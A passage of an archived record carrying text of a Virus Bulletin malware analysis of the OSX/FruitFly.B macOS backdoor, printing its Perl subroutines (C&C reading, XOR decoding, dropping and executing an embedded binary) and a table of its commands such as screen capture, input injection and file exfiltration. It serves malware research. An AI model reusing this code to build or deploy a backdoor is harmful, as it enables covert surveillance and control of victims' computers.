s/\\\\/\\//g;\r\n $U\r\n}\r\n› input\r\nNone.\r\n› output\r\nVariable length data from the C\u0026C server (with '\\' -\u003e '/').\r\n› description\r\nReads a chunk of variable length data via the 'N' subroutine, then replaces all occurrences of '\\' with '/' before returning it to\r\nthe caller.\r\nSubcommand I\r\n› code\r\nsub I {\r\n my $U = eval { my $C = '$_[0]'; chomp $C; $C };\r\n $U = '' if !defined $U;\r\n $U;\r\n}\r\n› input\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 45 of 52\n\nThe command to execute.\r\n› output\r\nResult (output) of executed command.\r\n› description\r\nExecutes a passed in command ($_[0]), chomps it, then returns the output.\r\nSubcommand J\r\n› code\r\nsub J {\r\n my ( $U, $A ) = ( '', '' );\r\n while ( $_[0] \u003e length $U ) {\r\n die\r\n if !sysread $l, $A, $_[0] - length $U;\r\n $U .= $A;\r\n }\r\n return $U;\r\n}\r\n› input\r\nNumber of bytes to read.\r\n› output\r\nData from the C\u0026C server.\r\n› description\r\nReads data from the command-and-control server. This subroutine takes as input ($_[0]) a number of bytes to read. Then in\r\na loop it reads data off the C\u0026C socket ('$l'), accumulating it into a buffer ('$U'). Once this buffer's size is equal to the\r\nrequested number of bytes to read, the loop exits and the bytes are returned to the caller.\r\nSubcommand K\r\n› code\r\nsub K {\r\n $_[0] ? v1 : v0\r\n}\r\n› input\r\nValue to check.\r\n› output\r\n1 or 0.\r\n› description\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 46 of 52\n\nChecks if a passed in variable ($_[0]) is true (exists, is defined, etc.), returning a 1 or 0.\r\nSubcommand M\r\n› code\r\nsub M {\r\n $_[0] ^ ( v3 x length( $_[0] ) )\r\n}\r\n› input\r\nEncoded string.\r\n› output\r\nDecoded string.\r\n› description\r\nGiven a string passed into the subroutine ($_[0]), XORs it with 3, returning the result.\r\nSubcommand N\r\n› code\r\nsub N {\r\n J\r\n O\r\n}\r\n› input\r\nNone.\r\n› output\r\nVariable length data from the C\u0026C server.\r\n› description\r\nFirst invokes the 'O' subroutine, which returns a four-byte integer, read from the C\u0026C server. This is then passed as a\r\nparameter to the 'J' method, which reads that number of bytes from the C\u0026C server. In other words, this subroutine is\r\ninvoked to read a chunk of variable-length data (such as a string), with a prefixed length.\r\nSubcommand O\r\n› code\r\nsub O {\r\n unpack 'V', J 4\r\n}\r\n› input\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 47 of 52\n\nNone.\r\n› output\r\nA four-byte string from the C\u0026C server.\r\n› description\r\nInvokes the 'J' subroutine to read four bytes from the C\u0026C socket, then 'unpacks' and returns it to the caller. Perl documents\r\nstate that the 'V' format specifier represents 'an unsigned long (32-bit) in \"VAX\" (little-endian) order' [12]. Thus in this\r\nsubroutine, the 'unpack' will convert a string from the server into a host-byte integer.\r\nSubcommand R\r\n› code\r\nsub R {\r\n if ($P) {\r\n close $H;\r\n close $Q;\r\n waitpid $P, 0;\r\n }\r\n $P = 0;\r\n return undef;\r\n}\r\n› input\r\nNone.\r\n› output\r\nNone (undef).\r\n› description\r\nIf a PID ('$P') of a previously executed process ('$b') isn't 0, closes the input and output handles ('$H' and '$Q'), then waits\r\nfor the process itself to exit.\r\nSubcommand S\r\n› code\r\nsub S {\r\n open F, '\u003e', $_[0] or return undef;\r\n binmode F;\r\n print F $_[1] or return undef;\r\n close F;\r\n return 1;\r\n}\r\n› input\r\nFirst argument: path of the file to write to.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 48 of 52\n\nSecond argument: bytes to write.\r\n› output\r\n1.\r\n› description\r\nOpens the file passed in as an argument to subroutine ($_[0]) in binary mode for writing. Then writes out the bytes which\r\nare passed in (via the second argument, $_[1]).\r\nSubcommand V\r\n› code\r\nsub V {\r\n alarm 30;\r\n if ( !$P ) {\r\n alarm 120;\r\n return undef if !$u || !S( $M, $u );\r\n chmod 0777, $M;\r\n $P = open2( $H, $Q, $b );\r\n if ( !$O ) { sleep 1; unlink $M }\r\n }\r\n return undef if !$P;\r\n return 1 if defined syswrite $Q, $_[0];\r\n return R();\r\n}\r\n› input\r\nParameter to pass to embedded machO binary.\r\n› output\r\n1, or undefined.\r\n› description\r\nBy means of various helper functions, writes out an embedded machO binary, executes it, and writes a passed in argument to\r\nthe process's stdin.\r\nMore specifically, calls method 'S' with a reference to a variable ('$u') that has been set to a stream data that begins at a\r\n'__DATA__' This contains an encoded machO binary, which is written out to /tmp/client ('$M'). After making this binary\r\nexecutable via a call to chmod, the subroutine forks a child process via a call to 'open2', to execute the command '$b'. Note\r\nthat '$H' and '$Q' are passed in as variables to receive the process's stdout and stdin file handles.\r\nAfter writing the passed in parameter to the new process's stdin ('$Q'), the subroutine returns.\r\nSubcommand W\r\n› code\r\nsub W {\r\n open F, '\u003c', $_[0] or return undef;\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 49 of 52\n\nbinmode F;\r\n my $U = join '', \u003cF\u003e;\r\n close F;\r\n return $U;\r\n}\r\n› input\r\nPath of file to reading.\r\n› output\r\nBytes in file.\r\n› description\r\nOpens the file passed in as an argument to subroutine ($_[0]) in binary mode for reading. Then reads in all bytes, returning\r\nthem to the caller.\r\nSubcommand Y\r\n› code\r\nsub Y {\r\n pack 'V', $_[0]\r\n}\r\n› input\r\nA four-byte integer.\r\n› output\r\nA four-byte string.\r\n› description\r\nConverts a four-byte host-byte integer (passed in $_[0]) into to string to send to the C\u0026C server.\r\nSubcommand Z\r\n› code\r\nsub Z {\r\n pack 'V/a*', $_[0]\r\n}\r\n› input\r\nA string.\r\n› output\r\nA string, prefixed with its size.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 50 of 52\n\n› description\r\nConverts a string into a string that's prefixed with its size. Such strings are then sent to the C\u0026C server. According to Perl\r\ndocumentation [12], the 'V' packing template specifies 'an unsigned long (32-bit) in \"VAX\" (little-endian) order', while the\r\n'a' specifies 'a string with arbitrary binary data, will be null padded' [12].\r\nAppendix B\r\nOSX/FruitFly.B commands\r\nCommand Subcommand Description\r\n0   Do nothing\r\n2   Screen capture (PNG, JPEG, etc.)\r\n3   Screen bounds\r\n4   Host uptime\r\n6   Evaluate Perl statement\r\n7   Mouse location\r\n8   Mouse action\r\n  0 Move mouse\r\n  1 Left click (up \u0026 down)\r\n  2 Left click (up \u0026 down)\r\n  3 Left double click\r\n  4 Left click (down)\r\n  5 Left click (up)\r\n  6 Right click (down)\r\n  7 Right click (up)\r\n11   Working directory\r\n12   File action\r\n  0 Does file exist?\r\n  1 Delete file\r\n  2 Rename (move) file\r\n  3 Copy file\r\n  4 Size of file\r\n  5 Not implemented\r\n  6 Read \u0026 exfiltrate file\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 51 of 52\n\n7 Write file\r\n  8 File attributes (ls -a)\r\n  9 File attributes (ls -al)\r\n13   Malware's script location\r\n14   Execute command in background\r\n16   Key down\r\n17   Key up\r\n19   Kill malware's process\r\n21   Process list\r\n22   Kill process\r\n26   Read string (command not fully implemented?)\r\n27   Directory actions\r\n  0 Do nothing\r\n  2 Directory listing\r\n29   Read byte (command not fully implemented?)\r\n30   Reset connection to trigger reconnect\r\n35   Get host by name\r\n43   String action\r\n  'alert' Set alert to trigger when user is active\r\n  'scrn' Toggle method of screen capture\r\n  'vers' Malware version\r\n  \u003cany other string\u003e Execute shell command\r\n47   Connect to host\r\nSource: https://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 52 of 52",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/"
	],
	"report_names": [
		"vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server"
	],
	"threat_actors": [],
	"ts_created_at": 1775434685,
	"ts_updated_at": 1775791320,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/008f016348d210becf90177f0a3d195c1c01b1af.pdf",
		"text": "https://archive.orkl.eu/008f016348d210becf90177f0a3d195c1c01b1af.txt",
		"img": "https://archive.orkl.eu/008f016348d210becf90177f0a3d195c1c01b1af.jpg"
	}
}